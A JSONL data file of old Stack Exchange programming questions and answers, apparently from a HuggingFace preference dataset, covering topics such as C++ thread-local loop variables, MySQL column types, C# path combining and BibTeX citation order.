{"id": "hf_5fb894e78496", "question": "<p>let's say we have a c++ class like:</p>\n\n<pre><code>class MyClass\n{\n   void processArray( &lt;an array of 255 integers&gt; )\n   {\n     int i ;\n     for (i=0;i&lt;255;i++)\n     {\n        // do something with values in the array\n     }\n   }\n}\n</code></pre>\n\n<p>and one instance of the class like:  </p>\n\n<pre><code>MyClass myInstance ;\n</code></pre>\n\n<p>and 2 threads which call the processArray method of that instance (depending on how system executes threads, probably in a completely irregular order). There is no mutex lock used in that scope so both threads can enter.</p>\n\n<p><strong>My question is what happens to the i ? Does each thread scope has it's own \"i\" or would each entering thread modify i in the for loop, causing i to be changing weirdly all the time.</strong> </p>\n", "question_body": "", "answer": "```\ni\n```\nis allocated on the stack.  Since each thread has its own separate stack, each thread gets its own copy of\n```\ni\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.885827"}
{"id": "hf_752da83bb804", "question": "<p>I want to be able to run a single spec file's tests &mdash; for the one file I'm editing, for example.  <code>rake spec</code> executes all the specs.  My project is not a Rails project, so <code>rake spec:doc</code> doesn't work.</p>\n\n<p>Don't know if this matters, but here is my directory structure.</p>\n\n<pre>\n./Rakefile\n./lib\n./lib/cushion.rb\n./lib/cushion\n./lib/cushion/doc.rb\n./lib/cushion/db.rb\n./spec\n./spec/spec.opts\n./spec/spec_helper.rb\n./spec/db_spec.rb\n</pre>\n", "question_body": "", "answer": "The raw invocation:\n```\nrake spec SPEC=spec/controllers/sessions_controller_spec.rb \\\n          SPEC_OPTS=\"-e \\\"should log in with cookie\\\"\"\n```\nNow figure out how to embed this into your editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.946229"}
{"id": "hf_5bc1682c8209", "question": "<p>My side question is there really any difference between tinyblob &amp; tinytext?  </p>\n\n<p>Buy my real question is what reason, if any, would I choose varchar(255) over tinyblob or tinytext? </p>\n", "question_body": "", "answer": "Primarily\nstorage requirements\nand memory handling/speed:\nIn the following table,\n```\nM\n```\nrepresents the declared column length in characters for nonbinary string types and bytes for binary string types.\n```\nL\n```\nrepresents the actual length in bytes of a given string value.\nVARCHAR(\n```\nM\n```\n), VARBINARY(\n```\nM\n```\n):\n```\nL\n```\n+ 1\n  bytes if column values require 0 – 255\n  bytes,\n```\nL\n```\n+ 2 bytes if values may\n  require more than 255 bytes\nTINYBLOB, TINYTEXT:\n```\nL\n```\n+ 1 bytes, where\n```\nL\n```\n< 2\n8\nAdditionally, see\nthis\npost:\nFor each table in use, MySQL allocates\n  memory for 4 rows. For each of these\n  rows CHAR(X)/VARCHAR(X) column takes\n  up the X characters.\nA TEXT/BLOB on the other hand is\n  represented by a 8 byte pointer + a\n  1-4 byte length (depending on the\n  BLOB/TEXT type). The BLOB/TEXT is\n  allocated dynamicly on use. This will\n  use less memory, but in some cases it\n  may fragment your memory in the long\n  run.\nEdit\n: As an aside, blobs store binary data and text stores ASCII, thats the only difference between TINYBLOB and TINYTEXT.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.982493"}
{"id": "hf_3f92f1517cc7", "question": "<p>I think title should be good enough.</p>\n", "question_body": "", "answer": "Tags should be used when you want to mark a milestone.  The milestone could be as small as a daily build.\nBranches should be used when you want to make changes independently from another branch/trunk.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.044103"}
{"id": "hf_f649793dd7be", "question": "<p>When would you use a bigtabe/simpledb database vs a Relational database?</p>\n", "question_body": "", "answer": "Size, redundancy and performance are all key words that pop up in my head.\nIt's fairly easy to create a little database that does its job but when you need to do significant scaling and redundancy, while keeping it performing at the speed of light, it's cheaper for lots of people to ship the job off to Amazon who've been doing it for a lot longer than most of us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.099528"}
{"id": "hf_dea58e3d7f62", "question": "<p>I'm playing with ASP.NET MVC for the last few days and was able to build a small site. Everything works great. </p>\n\n<p>Now, I need to pass the page's META tags (title, description, keywords, etc.) via the ViewData. (i'm using a master page).</p>\n\n<p>How you're dealing with this? Thank you in advance.</p>\n", "question_body": "", "answer": "Here is how I am currently doing it...\nIn the masterpage, I have a content place holder with a default title, description and keywords:\n```\n```\n<head>\n<asp:ContentPlaceHolder ID=\"cphHead\" runat=\"server\">\n    <title>Default Title</title>\n    <meta name=\"description\" content=\"Default Description\" />\n    <meta name=\"keywords\" content=\"Default Keywords\" />\n</asp:ContentPlaceHolder>\n</head>\n```\n```\nAnd then in the page, you can override all this content:\n```\n```\n<asp:Content ID=\"headContent\" ContentPlaceHolderID=\"cphHead\" runat=\"server\">\n    <title>Page Specific Title</title>\n    <meta name=\"description\" content=\"Page Specific Description\" />\n    <meta name=\"keywords\" content=\"Page Specific Keywords\" />\n</asp:Content>\n```\n```\nThis should give you an idea on how to set it up. Now you can put this information in your ViewData (ViewData[\"PageTitle\"]) or include it in your model (ViewData.Model.MetaDescription - would make sense for blog posts, etc) and make it data driven.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.174097"}
{"id": "hf_ed60a6a18759", "question": "<p>Wondering if there is any Text to Speech software available as a plug in for IE or Firefox.</p>\n", "question_body": "", "answer": "WebAnywhere\nis a university project aimed at creating a site that allows you to use text to speech from any browser at any location, without installing anything or using any plugins.\nYou can\ntry it out\nand see for yourself. I was pretty impressed with it when I first heard of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.248269"}
{"id": "hf_badc14290075", "question": "<p>I have a sparse array in Jscript, with non-null elements occuring at both negative and positive indices. When I try to use a for in loop, it doesn't traverse the array from the lowest (negative) index to the highest positive index. Instead it returns the array in the order that I added the elements. Enumeration doesn't work either. Is there any method that will allow me to do that?</p>\n\n<p><strong>Example</strong></p>\n\n<pre><code>arrName = new Array();\narrName[-10] = \"A\";\narrName[20] = \"B\";\narrName[10] = \"C\";\n</code></pre>\n\n<p>When looping through, it should give me A then C the B.</p>\n", "question_body": "", "answer": "Technically, \"A\" isn't in the Array at all since you can't have a negative index. It is just a member of the arrName object. If you check the arrName.length you will see that it is 21 (0,1,2,...,20) Why don't you use a plain object instead (as a hashtable). Something like this should work:\n```\n```\n<script type=\"text/javascript\">\n//define and initialize your object/hastable\nvar obj = {};\nobj[20] = 'C';\nobj[10] = 'B';\nobj[-10] = 'A';\n\n// get the indexes and sort them\nvar indexes = [];\nfor(var i in obj){\n    indexes.push(i);\n}\nindexes.sort(function(a,b){\n    return a-b;\n});\n\n// write the values to the page in index order (increasing)\nfor(var i=0,l=indexes.length; i<l; i++){\n    document.write(obj[indexes[i]] + ' ');\n}\n// Should print out as \"A B C\" to the page\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.296287"}
{"id": "hf_6a41e7667514", "question": "<p>Why does a user needs privileges over his own schema to create packages and triggers?</p>\n", "question_body": "", "answer": "I can't give you the \"official\" answer, but I can take a stab at the reasoning behind how it works.  On the project I work on, Oracle Developers are the ones that deploy the triggers and packages into the database schema.  But we have other teams of Java developers and testers, etc.  Once the schema are migrated into the Test and then Production environments, we don't want the testers or the end user applications to be able to arbitrarily modify the triggers and packages associated with that schema, as that could invalidate the integrity of any testing they are doing (or cause even worse issues on the production system).\nSo within the test/production environments, you want the testers, the Java developers, and the end-user application to be able to read and write data to the schema, but not modify the triggers and packages which encompass the baselined code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.355986"}
{"id": "hf_6a905ee7f3e1", "question": "<p>I am a AS3 novice learning PureMVC and want to write code following best practices so that any other AS3 developer can pick up my code and easily understand what I did, I am tempted to do stuff as I would in JavaScript or Asp.Net/C#, but I have a feeling that might not be the best approach.</p>\n\n<p>Thoughts? Links?</p>\n", "question_body": "", "answer": "I found that reading through the docs helped me get a clear definition of each of the parts to\nPureMVC\n.  On top of that I downloaded the source for the demos and added them in Flex Builder so I could look through them easily and see how they were constructed to get an idea of how I should construct my project.\nOne thing you have to remember is that you can do things any way you want, but to make using the framework worthwhile you should stick to the structure and way of doing things that it suggests.  For example you could give your view a reference to the facade and have it get information from Proxies etc.  But you should keep the view decoupled from the framework and just have it dispatch events and have a Mediator deal with the facade.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.392697"}
{"id": "hf_98398c9630b1", "question": "<p>Is there any C#/F# performance comparison available on web to show proper usage of new F# language?</p>\n", "question_body": "", "answer": "See these questions that I asked recently:\nIs a program F# any more efficient (execution-wise) than C#?\nHow can I use functional programming in the real world?\nIs it possible that F# will be optimized more than other .Net languages in the future?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.481699"}
{"id": "hf_9b742b62d2e5", "question": "<p>I am writing an iPhone application and need to essentially implement something equivalent to the 'eyedropper' tool in photoshop, where you can touch a point on the image and capture the RGB values for the pixel in question to determine and match its color.  Getting the UIImage is the easy part, but is there a way to convert the UIImage data into a bitmap representation in which I could extract this information for a given pixel?  A working code sample would be most appreciated, and note that I am not concerned with the alpha value.</p>\n", "question_body": "", "answer": "You can't access the bitmap data of a UIImage directly.\nYou need to get the CGImage representation of the UIImage. Then get the CGImage's data provider, from that a CFData representation of the bitmap. Make sure to release the CFData when done.\n```\n```\nCGImageRef cgImage = [image CGImage];\nCGDataProviderRef provider = CGImageGetDataProvider(cgImage);\nCFDataRef bitmapData = CGDataProviderCopyData(provider);\n```\n```\nYou will probably want to look at the bitmap info of the CGImage to get pixel order, image dimensions, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.530754"}
{"id": "hf_eed6d20c8c37", "question": "<p>Does Apple's Xcode development environment provide any tools for memory leak detection?</p>\n\n<p>I am especially interested in tools that apply to the iPhone SDK. Currently my favourite platform for hobby programming projects</p>\n\n<p>Documentations/tutorials for said tools would be very helpful.</p>\n", "question_body": "", "answer": "ObjectAlloc and MallocDebug should both be of help to you. If you installed the entire SDK, they will be found in Developer->Applications->Performance Tools.\nTheir names give you a pretty good clue as to their functions, OA, tracks the objects create and MA is a general memory leak tool.\nI haven't tried them with iPhone development yet, but I have to believe that they would work there as well.\nAssuming you have registered for ADC iPhone developer site, here the link to follow:\n```\nInstruments User Guide\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.567950"}
{"id": "hf_376a1db0057a", "question": "<p>I am searching for a good system for PHP, which does UnitTesting, Subversion, Coding Standards.</p>\n\n<p>I would love to hear your suggestions and which one is the best and why.\nI will be running it on a debian server so anything which runs on mac or windows servers would be out of the question.</p>\n", "question_body": "", "answer": "We have played with Xinc, but we stuck with phpUnderControl for now. It seemed a bit more mature, when we evaluated the different solutions.\nphpug came with the obvious support for phpUnit, also generates docs (phpDocumentor) uses xdebug code coverage and project mess detection and even checks on CS (through phpcs). As for phpUnit, you can now even run\nphpt\n-style tests with it which makes it for some people easier to write tests.\nAnd even though phpug adds CruiseControl and Java to the game it hasn't been much of a hassle for us. Not as much as I assumed anyway. :) I mean, that's the advantage with a Java-based service. (Assuming you have the JDK) You just download and run it. That easy. I am not familiar with Java on Debian, but last time I checked it wasn't an issue.\nAs for commercial solutions I know a bunch of PHP shops that use\nBamboo\n(along with the complete Atlassian suite).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.592486"}
{"id": "hf_bd52a76b1d20", "question": "<p>I have to implement MPI system in a cluster. If anyone here has any experience with MPI (MPICH/OpenMPI), I'd like to know which is better and how the performance can be boosted on  a cluster of x86_64 boxes.</p>\n", "question_body": "", "answer": "MPICH has been around a lot longer.  It's extremely portable and you'll find years worth of tips and tricks online.  It's a safe bet and it's probably compatible with more MPI programs out there.\nOpenMPI is newer.  While it's not quite as portable, it supports the most common platforms really well.  Most people seem to think it's a lot better in several regards, especially for fault-tolerance - but to take advantage of this you may have to use some of its special features that aren't part of the MPI standard.\nAs for performance, it depends a lot on the application; it's hard to give general advice.  You should post a specific question about the type of calculation you want to run, the number of nodes, and the type of hardware - including what type of network hardware you're using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.655162"}
{"id": "hf_d5bd25433678", "question": "<p>I'm processing a huge file with (GNU) <code>awk</code>, (other available tools are: Linux shell tools, some old (>5.0) version of Perl, but can't install modules).</p>\n\n<p>My problem: if some field1, field2, field3 contain X, Y, Z I must search for a file in another directory which contains field4, and field5 on one line, and insert some data from the found file to the current output.</p>\n\n<p>E.g.:</p>\n\n<p>Actual file line:</p>\n\n<pre><code>f1 f2 f3 f4 f5\nX  Y  Z  A  B\n</code></pre>\n\n<p>Now I need to search for another file (in another directory), which contains e.g.</p>\n\n<pre><code>f1 f2 f3 f4\nA  U  B  W\n</code></pre>\n\n<p>And write to STDOUT <code>$0</code> from the original file, and <code>f2</code> and <code>f3</code> from the found file, then process the next line of the original file.</p>\n\n<p>Is it possible to do it with <code>awk</code>?</p>\n", "question_body": "", "answer": "This seems to work for some test files I set up matching your examples.  Involving perl in this manner (interposed with grep) is probably going to hurt the performance a great deal, though...\n```\n```\n## perl code to do some dirty work\n\nfor my $line (`grep 'X Y Z' myhugefile`) {\n    chomp $line;\n    my ($a, $b, $c, $d, $e) = split(/ /,$line);\n    my $cmd = 'grep -P \"' . $d . ' .+? ' . $e .'\" otherfile';\n    for my $from_otherfile (`$cmd`) {\n        chomp $from_otherfile;\n        my ($oa, $ob, $oc, $od) = split(/ /,$from_otherfile);\n        print \"$a $ob $oc\\n\";\n    }\n}\n```\n```\nEDIT:\nUse tsee's solution (above), it's much more well-thought-out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.695364"}
{"id": "hf_df6dd6a69171", "question": "<p>Can somebody please provide me some important aspects I should be aware of while handling Unicode strings in C#?</p>\n", "question_body": "", "answer": "C# (and .Net in general) handle unicode strings transparently, and you won't have to do anything special unless your application needs to read/write files with specific encodings. In those cases, you can convert managed strings to byte arrays of the encoding of your choice by using the classes in the System.Text.Encodings namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.804879"}
{"id": "hf_e85089fe49bd", "question": "<p>If i have lots of directory names either as literal strings or contained in variables, what is the easiest way of combining these to make a complete path?</p>\n\n<p>I know of <pre>Path.Combine</pre> but this only takes 2 string parameters, i need a solution that can take any number number of directory parameters.</p>\n\n<p>e.g:</p>\n\n<pre>\nstring folder1 = \"foo\";\nstring folder2 = \"bar\";\n\nCreateAPath(\"C:\", folder1, folder2, folder1, folder1, folder2, \"MyFile.txt\")\n</pre>\n\n<p>Any ideas?\nDoes C# support unlimited args in methods?</p>\n", "question_body": "", "answer": "Does C# support unlimited args in methods?\nYes, have a look at the params keyword. Will make it easy to write a function that just calls Path.Combine the appropriate number of times, like this (untested):\n```\n```\nstring CombinePaths(params string[] parts) {\n    string result = String.Empty;\n    foreach (string s in parts) {\n        result = Path.Combine(result, s);\n    }\n    return result;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.863924"}
{"id": "hf_b502669aeb5f", "question": "<p>I want to get a files these attributes as integer values. </p>\n", "question_body": "", "answer": "Delphians tend to like the\n```\nFindFirst\n```\napproach (the\n```\nSearchRec\n```\nstructure has some of those), but I'd suggest the Win32 API function\n```\nGetFileAttributesEx\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.899893"}
{"id": "hf_99d9c14fd885", "question": "<p>I'm used to working with PHP but lately I've been working with Java and I'm having a headache trying to figure this out. I want to save this representation in Java:</p>\n\n<pre>\nArray ( \n        [\"col_name_1\"] => Array ( \n                               1 => [\"col_value_1\"], \n                               2 => [\"col_value_2\"], \n                               ... , \n                               n => [\"col_value_n\"] \n                          ),\n        [\"col_name_n\"] => Array ( \n                               1 => [\"col_value_1\"], \n                               2 => [\"col_value_2\"], \n                               ... , \n                               n => [\"col_value_n\"] \n                          )\n)\n</pre>\n\n<p>Is there a clean way (i.e. no dirty code) to save this thing in Java? Note; I would like to use Strings as array indexes (in the first dimension) and I don't know the definite size of the arrays.. </p>\n", "question_body": "", "answer": "You want a\nMap\n, which are keyed by just about anything.\nHashMap\ns work in most cases.\nSomething like this.\n```\n```\nList<String> col1Vals = new java.util.ArrayList<String>();\ncol1Vals.add(\"col_value_1\");\ncol1Vals.add(\"col_value_2\");\nMap<String, List<String>> map = new HashMap<String, List<String>>();\nmap.put(\"col_name_1\", col1Vals);\n```\n```\nIf you want something simpler, the\ncommons-lang\nlibrary has a\nMultiMap\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.947479"}
{"id": "hf_339e8b386bd3", "question": "<p>I'm currently writing an interface to allow applications to send exception data to a central repository for support purposes. I'm at a quandary about how to pass extra contextual data:</p>\n\n<pre><code>public interface IExceptionNotifier\n{\n    void Notify(Exception ex, NameValueCollection context); //this      \n    void Notify(Exception ex, IDictionary&lt;string, string&gt; context); //or this\n}\n</code></pre>\n\n<p>I've often found myself is a similar position when creating lookups. Ignoring whether or not the exception notifier concept is good, is it be best to use an <code>IDictionary&lt;string, string&gt;</code> or <code>NameValueCollection</code>? Why would you pick one over the other?</p>\n", "question_body": "", "answer": "If the context is a throw-away value and (here comes the important part) will not be serialized, e.g. for sending the data to another system, I'd go with the IDictionary because it makes using your interface more flexible.\nIf, on the other hand, the context is kept all the time or the context will be serialized, use NameValueCollection because then you are under control of what you'll actually get from your caller.\nEdit: mausch is right in that you should use a generic approach, but I still wouldn't use an interface if you want to serialize the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:42.995942"}
{"id": "hf_973d5865741c", "question": "<p>I'm building Desktop Software for over 10 years now, mostly it's simple Data-Input Software. My problem is, it's always looking the same: A Treeview on the Left and a lot of Text/Data Fields to the right, depending on the type of data currently is worked on. Are there any fresh ideas how such software nowadays should look like?</p>\n\n<p>For further clarification:\nIt's very hierarchical data, mostly for electronic devices. There are elements of data which provide static settings for the device and there are parts which describe some sort of 'Program' for the device. There are a lot (more than 30) of different input masks. Of course i use combo boxes and Up/Down Entry Fields.</p>\n", "question_body": "", "answer": "Having all of your software look the same thing is a\ngood\nthing.  One of the best ways to make it easy for people to use your software is to make it look exactly the same as other software your users already know how to use.\nThere are basically two common strategies for how to handle entry of a lot of data.  The first is to have lots of data entry fields on one page.  The next is to have only a few data entry fields but a lot of pages in a sort of wizard-style interface.  Expert users find the latter much slower to use, as do users who are entering data over and over again.  However, the wizard style interface is less confusing for newer users since it offers fewer elements at once and tends to provide more detail on them.\nI do suggest replacing as many text fields as possible with auto-complete-based combo-boxes.  This allows users to enter data exactly the same as with text-boxes, but also allows users to save typing by hitting the down key to scroll through choices after typing part of the data in.\nProviding more detail on what data is being entered would probably yield more specific answers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.019846"}
{"id": "hf_e7661731b22f", "question": "<p>Why use one over the other?</p>\n", "question_body": "", "answer": "== is the identity test. It will return true if the two objects being tested are in fact the same object.\n```\nEquals()\n```\nperforms an equality test, and will return true if the two objects consider themselves equal.\nIdentity testing is faster, so you can use it when there's no need for more expensive equality tests. For example, comparing against\n```\nnull\n```\nor the empty string.\nIt's possible to overload either of these to provide different behavior -- like identity testing for\n```\nEquals()\n```\n--, but for the sake of anybody reading your code, please don't.\nPointed out below: some types like\n```\nString\n```\nor\n```\nDateTime\n```\nprovide overloads for the\n```\n==\n```\noperator that give it equality semantics. So the exact behavior will depend on the types of the objects you are comparing.\nSee also:\nhttp://blogs.msdn.com/csharpfaq/archive/2004/03/29/102224.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.044206"}
{"id": "hf_024ae70ca897", "question": "<p>We use a grid control from Infragistics at work. Are there others? Pay or free?</p>\n", "question_body": "", "answer": "I started out using the Infragistics control also which is great and is very powerful, but it's difficult to use because it's features are so extensive. I feel the same way about ComponentOne. I've switched over to the DataGrid CPT from Microsoft, and I've had a lot of success with it. Obviosly it's not as feature rich at this point as other 3rd part controls, but overall I'ts really good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.068197"}
{"id": "hf_aedee14a6ed3", "question": "<p><a href=\"http://www.ruby-lang.org\" rel=\"noreferrer\">Ruby</a> is truly memory-hungry - but also worth every single bit. </p>\n\n<p>What do you do to keep the memory usage low? Do you avoid big strings and use smaller arrays/hashes instead or is it no problem to concern about for you and let the garbage collector do the job?</p>\n\n<p><strong>Edit</strong>: I found a nice article about this topic <a href=\"http://gnomecoder.wordpress.com/2007/10/02/rubys-garbage-collection-problem/\" rel=\"noreferrer\">here</a> - old but still interesting.</p>\n", "question_body": "", "answer": "I am not a ruby developer but I think some techniques and methods are true of any language:\nUse the minimum size variable suitable for the job\nDestroy and close variables and connections when not in use\nHowever if you have an object you will need to use many times consider keeping it in scope\nAny loops with manipulations of a big string dp the work on a smaller string and then append to bigger string\nUse decent (try catch finally) error handling to make sure objects and connections are closed\nWhen dealing with data sets only return the minimum necessary", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.091952"}
{"id": "hf_585e48c50930", "question": "<p>I thought that there was some way in .net 3.0 to give an array list a type so that it didnt just return Object's but I'm having trouble doing so. Is it possible? If so, how?</p>\n", "question_body": "", "answer": "You're probably looking for List\n```\n<T>\n```\n, available since .NET 2.0, or for any other of the generic types available from System.Collections.Generic or System.Collections.ComponentModel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.127899"}
{"id": "hf_5dfbfdea342d", "question": "<p>What serial communication bus would you use in a automotive embedded system if your main selection criteria were:  </p>\n\n<ul>\n<li>Electrically robust  </li>\n<li>Slow speed (32 kb/s)  </li>\n<li>Easy to program  </li>\n<li>Easy to interface with microcontrollers  </li>\n</ul>\n\n<p>It won't be transferring much data, but it will need to be transferred periodically at high speed (100 - 500 Hz). I find that RS-232 is just not reliable enough if you have noise in your ground line. CAN-bus seems interesting, but I have no experience with it. </p>\n\n<p>We are currently interested in a combination of AVR AT90CAN128 microcontrollers.</p>\n", "question_body": "", "answer": "For all out reliability you can't go past CANbus (but then that was sort of implied by your choice of processor?)\nDepending on what you want to interface to, this can be very simple - the base level protocol is quite straight forward. But if you want to talk to any other non-proprietary devices you'll have to implement the higher protocols (eg. CANopen).\nBut if CANbus isn't appropriate, then I would recommend RS485 or RS422 (depending on your topology). If all you're trying to achieve is point to point communications it's identical to RS232. (you'll have to put your own protocol layer on top if you're trying to support multidrop comms though.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.163942"}
{"id": "hf_3f1dae160bd0", "question": "<p>By default (using the <code>plain</code> style) BibTeX orders citations alphabetically. </p>\n\n<p>How to order the citations by order of appearance in the document?</p>\n", "question_body": "", "answer": "The best I came up with is using the\n```\nunsrt\n```\nstyle, which seems to be a tweaked\n```\nplain\n```\nstyle. i.e.\n```\n```\n\\bibliographystyle{unsrt}\n\\bibliography{bibliography}\n```\n```\nHowever what if my style is not the default?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.201101"}
{"id": "hf_4ad8301baa58", "question": "<p>I require a tree / directed acyclic graph implementation something like this:</p>\n\n<pre><code>public class TreeNode&lt;K, V&gt; {\n    private K key; // 'key' for this node, always present\n    private V value; // 'value' for this node, doesn't have to be set\n\n    private TreeNode&lt;K, V&gt; parent;\n    private Set&lt;TreeNode&lt;K, V&gt;&gt; children; \n}\n</code></pre>\n\n<ul>\n<li>There is no sorting of any kind. </li>\n<li>The <code>TreeNode</code> is just a wrapper around the key and a possible value (nodes don't have to have values set).</li>\n<li>I require links to both the parent and the children.</li>\n</ul>\n\n<p>Is there anything out there in the standard APIs or Commons etc that will do this for me?</p>\n\n<p>I don't mind writing it myself (and I'm certainly <strong>not</strong> asking you folks to) I just don't want to re-invent the wheel.</p>\n", "question_body": "", "answer": "There doesn't seem to be anything of the kind. I asked\na similar question\nlast week and ended up implementing my own tree.  My implementation was very similar to what you're proposing:\n```\n```\npublic class TreeNode<T>\n{\n    private LinkedList<TreeNode<T>> children = new LinkedList<TreeNode<T>>();\n    public T value { get; set; }\n\n    public TreeNode(T value)\n    {\n        this.value = value;\n    }\n    public LinkedList<TreeNode<T>> GetChildren()\n    {\n        return children;\n    }\n}\n```\n```\nYou will have to add a link back to the parent(s).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.224895"}
